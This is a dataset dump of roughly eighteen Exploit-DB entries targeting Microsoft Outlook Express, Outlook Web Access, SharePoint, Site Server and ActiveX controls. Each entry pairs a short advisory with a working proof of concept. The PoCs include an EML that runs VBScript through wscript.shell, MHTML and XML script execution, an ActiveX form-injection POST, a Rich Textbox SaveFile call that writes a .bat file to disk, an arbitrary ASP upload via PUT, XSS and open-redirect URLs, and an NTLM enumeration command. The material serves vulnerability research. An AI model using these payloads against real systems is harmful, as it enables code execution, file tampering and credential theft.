deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25784
Description: Microsoft Outlook Express 4.x/5.x/6.0 - Attachment Processing File Extension Obfuscation
Type: remote
Platform: windows
Date: 2005-06-01
Author: Benjamin Tobias Franz

Exploit:
source: https://www.securityfocus.com/bid/13837/info

Microsoft Outlook Express is prone to an attachment file extension obfuscation vulnerability that may present a risk under certain configurations.

The issue manifests due to Microsoft Outlook Express behavior while handling an 'EML' email attachment. If the email attachment does not have a filename, the subject of the attached email message is used as the filename.

Reports indicate that this may be leveraged to make the attached email message executable. It is possible to cause a default file handler to be invoked to process the attached email message. Potentially allowing for code execution.

This issue may lure a victim into a false sense of security and may result in inadvertent or unintentional execution of attacker-supplied code. 

===>>> PoC - Start <<<===
From:"Benjamin Tobias Franz"<0-1-2-3@gmx.de>
To:You
Subject:MSOE - Attachment Download Security Restriction Bypass
Date:Wed, 1 Jun 2005
Content-Type:multipart/mixed;boundary="btf"

--btf
Content-Type: text/plain;

Open the attachment and you will see:
MS OE will not show the correct warning message (for software)
and not the type of the file.


Regards,

Benjamin Tobias Franz
Germany
--btf
Content-Type:message/rfc822
Content-Transfer-Encoding:quoted-printable

<!--
Subject:BTF's MSOE Attachment Download Security Restriction Bypass=
.hta=00.btfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtf=
btfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtf=
btfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtf=
btfbtf
-->
<title>YOU ARE VULNERABLE</title>
<script language=vbscript>set btf=createobject("wscript.shell")=
:btf.run("calc")</script><body style="background-color:red;font-si=
ze:40px;"><b>YOU ARE VULNERABLE!!!</b><br><br><br>Regards,<br><br>
Benjamin Tobias Franz<br>Germany</body>
--btf--

===>>> PoC - End <<<===
Exploit-DB #24687
Description: Microsoft Outlook Express 4.x/5.x/6.0 - Plaintext Email Security Policy Bypass
Type: remote
Platform: windows
Date: 2004-10-18
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/11447/info

Microsoft Outlook Express is reported prone to a security policy bypass vulnerability.

The vulnerability presents itself if an attached image file is referenced using a specially crafted CID URI.

This will result in a policy bypass because the image will be automatically rendered when the email is viewed in Outlook Express.

<CENTER><IMG SRC="CID:{F69034DE-F779-4AA2-B5A9-
7413133C2A29}/malware.JPG"></CENTER>
Exploit-DB #19738
Description: Microsoft Outlook Express 5 - JavaScript Email Access
Type: remote
Platform: windows
Date: 2000-02-01
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/962/info

Microsoft Outlook Express 5, and possibly other email clients that parse HTML messages, can be made to run Active Scripting that will read any new messages that arrive after the hostile code has been run. 

Example code:
<SCRIPT>
a=window.open("about:<A HREF='javascript:alert(x.body.innerText)' >Click here to see the active message</A>");
a.x=window.document;
</SCRIPT>
Exploit-DB #21711
Description: Microsoft Outlook Express 5/6 - MHTML URL Handler File Rendering
Type: remote
Platform: windows
Date: 2002-08-15
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/5473/info

Microsoft Outlook Express introduced a URL handler called MHTML (MIME Encapsulation of Aggregate HTML). This allows Internet Explorer to pass MHTML files to Outlook Express for rendering.

The MHTML URL handler does not validate the file type it is rendering. This could allow a file type that is normally considered to be a "safe file type", such as a .txt file, to be opened and have any script contained within rendered. This script would then be rendered in the Local Computer Zone.

<html>
<head>
<title>malware.com</title>
<meta NAME="Author" CONTENT="malware.com">
<meta name="robots" content="noindex, nofollow">
</head>
<body onload=malware() style="behavior: url(#default#httpFolder);">
<script>
function malware(){
document.body.navigate("http://www.microsoft.com");alert("malware");
open("file://C%3A%5CWINDOWS%5CTemp%5Cwecerr.txt")
}
</script><br><br><br><br>
<center><image src="smile.gif"></center>
Exploit-DB #22959
Description: Microsoft Outlook Express 5/6 - Script Execution
Type: remote
Platform: windows
Date: 2003-07-25
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/8281/info

It has been reported that a weakness may have been re-introduced into Microsoft Outlook Express. According to the source, the issue described in Bugtraq ID 3334 had been fixed by Microsoft but appears to have resurfaced. 

It should be noted that Symantec has no record of the original issue being fixed. This record will be updated as more information becomes available.

MIME-Version: 1.0
Content-Type: text/plain;
Content-Transfer-Encoding: 7bit
X-Source: 25.07.03 http://www.malware.com

<img dynsrc=javascript:alert()><font color=red>foo
Exploit-DB #21631
Description: Microsoft Outlook Express 5/6 - Spoofable File Extensions
Type: remote
Platform: windows
Date: 2002-07-20
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/5277/info

It is possible for a malicious user, sending email via a mail agent capable of manipulating the MIME headers, to spoof file extensions for users of Outlook Express. For example, an .exe file can be made to look like a .txt (or other seemingly harmless file type) file in the attachment list.

When including a certain string of characters between the filename and the actual file extension, Outlook Express will display the specified misleading file extension type. 

The end result is that an attacker is able to entice a user to open or save files of arbitrary types to their local system.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21631.eml
Exploit-DB #21662
Description: Microsoft Outlook Express 6 - '.XML' File Attachment Script Execution
Type: remote
Platform: windows
Date: 2002-07-29
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/5350/info

An error has been reported in Microsoft Outlook Express which may allow malicious XML file attachments to execute arbitrary code in the context of the local system. Code execution could occur when the file attachment is opened, without further prompting or user interaction.

This is the result of treatment of script code included in XSL style information embedded in an XML document. Normally, XSL style information is not permitted in XML scripts executing within a restricted security zone. However, some embedded script code may still execute, despite the generation of an XML parsing error. This script code may determine the location of the Temporary Internet File (TIF) directory, which in turn can lead to the execution of arbitrary code within the Local System security zone.

This behavior has been reported in Outlook Express 6. Other versions of Outlook may share this vulnerability, this has not however been confirmed.

<?xml version="1.0" ?>
<?xml-stylesheet type="text/css"
href="http://www.malware.com/malware.css" ?>
<malware>

<h4 style="position: absolute;top:39;left:expression(alert
(document.location));font-family:arial;font-size:12pt;BACKGROUND-
IMAGE:url('http://www.malware.com/youlickit.gif');background-
repeat:no-repeat;background-position: 100 30;z-index:-
100;height:200pt;width:400pt;font-family:Verdana;color:red">sure it
can, malware says so</h4>
</malware>
Exploit-DB #23400
Description: Microsoft Outlook Express 6.0 - '.MHTML' Forced File Execution (1)
Type: remote
Platform: windows
Date: 2003-11-25
Author: Liu Die

Exploit:
source: https://www.securityfocus.com/bid/9105/info

A vulnerability has been discovered in Microsoft Outlook Express when handling MHTML file and res URIs that could lead to an unexpected file being downloaded and executed.

The problem occurs due to the component failing to securely handle MHTML file URIs that reference a non-existent resource. The affected Outlook Express component is used by Microsoft Internet Explorer. As a result, a victim browser user may inadvertently access a page designed to load an embedded object from a malicious location. This would effectively result in the execution of attacker-supplied code within the Local Zone. The vulnerability is present even if Microsoft Outlook has been removed as the default email client.

According to Microsoft, Microsoft Internet Explorer on Windows Server 2003 is prone to attacks despite its specialized configuration.

Microsoft Windows platforms running Microsoft Outlook Express 5.5SP2, 6.0, and 6.0SP1 are reported by the vendor to be affected though the issue may also be present in earlier versions of Microsoft Outlook Express.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23400.zip
Exploit-DB #23401
Description: Microsoft Outlook Express 6.0 - MHTML Forced File Execution (2)
Type: remote
Platform: windows
Date: 2003-11-25
Author: Liu Die Yu

Exploit:
source: https://www.securityfocus.com/bid/9105/info
 
A vulnerability has been discovered in Microsoft Outlook Express when handling MHTML file and res URIs that could lead to an unexpected file being downloaded and executed.
 
The problem occurs due to the component failing to securely handle MHTML file URIs that reference a non-existent resource. The affected Outlook Express component is used by Microsoft Internet Explorer. As a result, a victim browser user may inadvertently access a page designed to load an embedded object from a malicious location. This would effectively result in the execution of attacker-supplied code within the Local Zone. The vulnerability is present even if Microsoft Outlook has been removed as the default email client.
 
According to Microsoft, Microsoft Internet Explorer on Windows Server 2003 is prone to attacks despite its specialized configuration.
 
Microsoft Windows platforms running Microsoft Outlook Express 5.5SP2, 6.0, and 6.0SP1 are reported by the vendor to be affected though the issue may also be present in earlier versions of Microsoft Outlook Express.
 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23401.zip
Exploit-DB #24118
Description: Microsoft Outlook Express 6.0 - URI Obfuscation
Type: remote
Platform: windows
Date: 2004-05-13
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/10345/info

Microsoft Outlook Express has been reported prone to a URI obfuscation vulnerability.

This issue is reported to affect version 6.0 of the affected software, other versions might also be affected.

An attacker could reportedly get a user to visit an attacker controlled site without the usual address bar feature in a web browser. This could potentially make it easier for an attacker to fool a user into trusting the site contents.

<BASE href=http://www.example1.com target=_top>
<A href="http://www.example2.com">http://www.example1.com</A>
Exploit-DB #32489
Description: Microsoft Outlook Web Access for Exchange Server 2003 - 'redir.asp' Open Redirection
Type: remote
Platform: windows
Date: 2008-10-15
Author: Martin Suess

Exploit:
source: https://www.securityfocus.com/bid/31765/info

Outlook Web Access is prone to a remote URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks.

OWA 6.5 SP 2 is vulnerable; other versions may also be affected. 

https://webmail.example.com/exchweb/bin/redir.asp?URL=http://www.example2.com

https://webmail.example.com/CookieAuth.dll?GetLogon?url=%2Fexchweb%2Fbin%2Fredir.asp%3FURL%3Dhttp%3A%2F%2Fwww.example2.com&reason=0
Exploit-DB #22280
Description: Microsoft Outlook2000/Express 6.0 - Arbitrary Program Execution
Type: remote
Platform: windows
Date: 2003-02-24
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/6923/info

Microsoft Outlook and Outlook Express may execute arbitrary programs through objects embedded in HTML email messages. When an email message or newsgroup message is viewed using Outlook, a temporary object is created in the Internet Explorer cache. The security zone of this cache should be set by Internet Explorer and is set to the Internet Zone by default.

It is possible to have an object embedded in an HTML message reference an executable file using a CODEBASE reference and non-zero CLASSID value. It may also be possible for an attacker to place a file in a known temporary folder and have it executed through this method.

An issue similar to this was reported for Internet Explorer (BID 3867). It appears that the issue was fixed for objects viewed in a web page through Internet Explorer, but not through HTML email viewed with Outlook or Outlook Express. 

<xml id=oExec> <security><exploit> <![CDATA[ <object id="oFile"
classid="clsid:[PII_REDACTED]-1111"
code base="C:WINDOWSFTP.EXE"></object>]]></exploit></security></xml>
<SPAN dataFld=exploit dataFormatAs=html
dataSrc=#oExec></SPAN>
Exploit-DB #6699
Description: Microsoft PicturePusher - ActiveX Cross-Site Arbitrary File Upload
Type: remote
Platform: windows
Date: 2008-10-08
Author: Nine:Situations:Group

Exploit:
<!--
Microsoft PicturePusher ActiveX (PipPPush.DLL 7.00.0709) remote Cross Site File 
Upload attack POC (IE6)
by Nine:Situations:Group::pyrokinesis

bug discovered by rgod during early March 2008

tested software: Microsoft Digital Image 2006 Starter Edition
works fine against IE6, with some warnings with IE7

dll settings: 
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data 

This control allows to build highly customized POST requests against private 
upload facilities, using the browser as a proxy to bounce them and by injecting 
a filename sub-field through ex. the AddString() method

The magic packet :

POST /?aaaa=1 HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0) [MSN Communities Active-X Upload Control]
Host: 127.0.0.1
Content-Length: 181
Cache-Control: no-cache

-----------------------------
Content-Disposition: form-data; name="aaaa"; filename="suntzu.test" 
Content-Type: text/plain; AAAA: ""

xxxxxxxx
-------------------------------

-->
<HTML>
<OBJECT classid='clsid:507813C3-0B26-47AD-A8C0-D483C7A21FA7' id='PicturePusherControl' />
</OBJECT>
<script language='vbscript'>
    'PicturePusherControl.PostURL = "http://127.0.0.1/?aaaa=1"
    PicturePusherControl.PostURL = "http://192.168.1.1/?aaaa=1"
    PicturePusherControl.AddSeperator
    CRLF = unescape("%0d%0a")
    FormElementName="aaaa""; filename=""suntzu.test"" " + CRLF + "Content-Type: text/plain; AAAA: """
    Value="xxxxxxxx"
    'for some reason cannot do this with AddFile() method, however...
    PicturePusherControl.AddString FormElementName ,Value 
    PicturePusherControl.Post
</script>

# milw0rm.com [2008-10-08]
Exploit-DB #4874
Description: Microsoft Rich Textbox Control 6.0-SP6 - 'SaveFile()' Insecure Method
Type: remote
Platform: windows
Date: 2008-01-09
Author: shinnai

Exploit:
<pre><code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>Microsoft Rich Textbox Control 6.0 (SP6) "SaveFile()" Insecure Method</b>
 url: http://www.microsoft.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 <b>Technical details:</b>
 File: RICHTX32.OCX
 ver.: 6.1.97.82

 While this GUID <b>{3B7C8860-D78F-101B-B9B5-04021C009402}</b> is
 killbited, this one <b><font color='green'>{B617B991-A767-4F05-99BA-AC6FCABB102E}</font></b>

 works fine so it is possible, using the "SaveFile()" method,
 to save the content of the rich textbox on a user's pc.
 This can be used to save, overwrite and/or corrupt arbitrary
 files on the system.
 
 It's marked as:
 <b>RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IPersist Safe: Safe for untrusted: caller,data
 IPStorage Safe: Safe for untrusted: caller,data</b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:B617B991-A767-4F05-99BA-AC6FCABB102E' id='test' style='width: 250px; height: 75px'></object>	<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
<script language='vbscript'>
  Sub tryMe
   test.Text = "@echo off" & vbCrLf & "cmd.exe /c notepad.exe" & vbCrLf & "echo Hello World!" & vbCrLf & "pause"
   test.SaveFile "C:\shinnai.bat", 1
   MsgBox "Exploit completed!"
 End Sub
</script></span></span></code></pre>

# milw0rm.com [2008-01-09]
Exploit-DB #52349
Description: Microsoft SharePoint 2019 - NTLM Authentication
Type: remote
Platform: windows
Date: 2025-07-02
Author: nu11secur1ty

Exploit:
# Titles: Microsoft SharePoint 2019 NTLM Authentication
# Author: nu11secur1ty
# Date: 06/27/25
# Vendor: Microsoft
# Software: https://www.microsoft.com/en-us/download/details.aspx?id=57462
# Reference:
https://www.networkdatapedia.com/post/ntlm-autSharePoint 2019 NTLM Authentication hentication-security-risks-and-how-to-avoid-them-gilad-david-maayan

## Description:
Microsoft SharePoint Central Administration improperly exposes
NTLM-authenticated endpoints to low-privileged or even brute-forced domain
accounts. Once authenticated, an attacker can access the `_api/web`
endpoint, disclosing rich metadata about the SharePoint site, including
user group relationships, workflow configurations, and file system
structures. The vulnerability enables username and password enumeration,
internal structure mapping, and API abuse.

Key issues include:
- NTLM over HTTP (unencrypted)
- No fine-grained access control on `_api/web`
- NTLM error codes act as oracles for credential validation

STATUS: HIGH-CRITICAL Vulnerability


[+]Exploit:
```
    # NTLM Authentication + SharePoint Enumeration Tool Usage:
    python ntml.py -u http://10.10.0.15:10626 -U 'CORP\spfarm' -P 'p@ssw0rd'
-v

    # Success output (highlight):
    [+] NTLM Authentication succeeded on http://10.10.0.15:10626/_api/web

    # Result: Full SharePoint metadata dump from the Central Admin instance

```

# Reproduce:
[href](
https://github.com/nu11secur1ty/CVE-mitre/tree/main/2025/CVE-2025-47166/PoC)


# Time spent:
72:15:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #31632
Description: Microsoft SharePoint Server 2.0 - Picture Source HTML Injection
Type: remote
Platform: windows
Date: 2008-04-09
Author: OneIdBeagl3

Exploit:
source: https://www.securityfocus.com/bid/28706/info

Microsoft SharePoint Server is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input data. Note that to perform attacks, an attacker requires access to a user account with sufficient privileges to edit pages.

Exploiting this issue may allow the attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

Microsoft SharePoint Server 2.0 is vulnerable; other versions may also be affected.

"""></P></div></td><script>[your javascript here]</script>
Exploit-DB #29951
Description: Microsoft SharePoint Server 3.0 - Cross-Site Scripting
Type: remote
Platform: windows
Date: 2007-05-04
Author: Solarius

Exploit:
source: https://www.securityfocus.com/bid/23832/info

Microsoft SharePoint Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal potentially sensitive information and launch other attacks. 

http://www.example.com/sharepoint/default.aspx/%22);}if(true){alert(%22qwertytis
Exploit-DB #20305
Description: Microsoft Site Server 2.0 with IIS 4.0 - Arbitrary File Upload
Type: remote
Platform: windows
Date: 1999-01-30
Author: Mnemonix

Exploit:
source: https://www.securityfocus.com/bid/1811/info

Microsoft Site Server is an intranet server designed for an NT Server with IIS. Site Server enables users to locate and view information stored in various locations through personalized web pages and emails.

The 'Users' directory, if not already created, is automatically generated once the first successful upload has been completed. By default the 'Everyone' group is given NTFS Change privileges in the 'Users' directory. As well, Scripting and Write permissions are assigned by IIS. Due to all of these factors, it is possible for a user to create and upload various content including ASP pages to the web server through the Anonymous Internet Account (IUSR_machinename).

If one does not have knowledge of a password to access the services in Site Server, a user could telnet to port 80 on the web server and perform a specially crafted PUT request. Once the file is created performing a specially formed GET request will execute the file.

Successful exploitation of this vulnerability will allow a remote user to possibly upload malicious content to the web site.

PUT /users/non-aggressive-script.asp HTTP/1.0
Content-length: 120
Entity-body:
<HTML>
<BODY>
Request method is <% Response.Write
Request.ServerVariables("REQUEST_METHOD")%>.<BR>
</BODY>
</HTML>
\n
\n
\n
Exploit-DB #21260
Description: Microsoft Site Server 3.0 - Cross-Site Scripting
Type: remote
Platform: windows
Date: 2002-01-29
Author: rain forest puppy

Exploit:
source: https://www.securityfocus.com/bid/3999/info

Microsoft Site Server is designed to run on Microsoft Windows NT Server
platforms. It provides a means for users on a corporate intranet to
share, publish, and find information. Site Server Commerce Edition
incorporates the same features as well as providing an interface for
e-commerce sites to interact and conduct business with customers and
suppliers.

Various Microsoft Site Server ASP pages are prone to cross-site scripting attacks. It is possible to create a malicious link to a vulnerable ASP page which contains arbitrary script code. Script code will be executed in the browser of a legitimate user who browses the link, in the context of the Microsoft Site Server site. 

The vulnerable pages require that the legitimate user authenticates before accessing them. 

At the very least this may provide an opportunity for an attacker to steal cookie-based authentication credentials from a legitimate Microsoft Site Server user. 

Default.asp and formslogin.asp are known to be prone to this issue. It has been reported that a number of other ASP pages are also affected.

http://siteserverhost/SiteServer/Knowledge/Default.asp?ctr="><scr
ipt>alert("uhoh")</script>

http://siteserverhost/_mem_bin/formslogin.asp?"><script>alert("uh
oh")</script>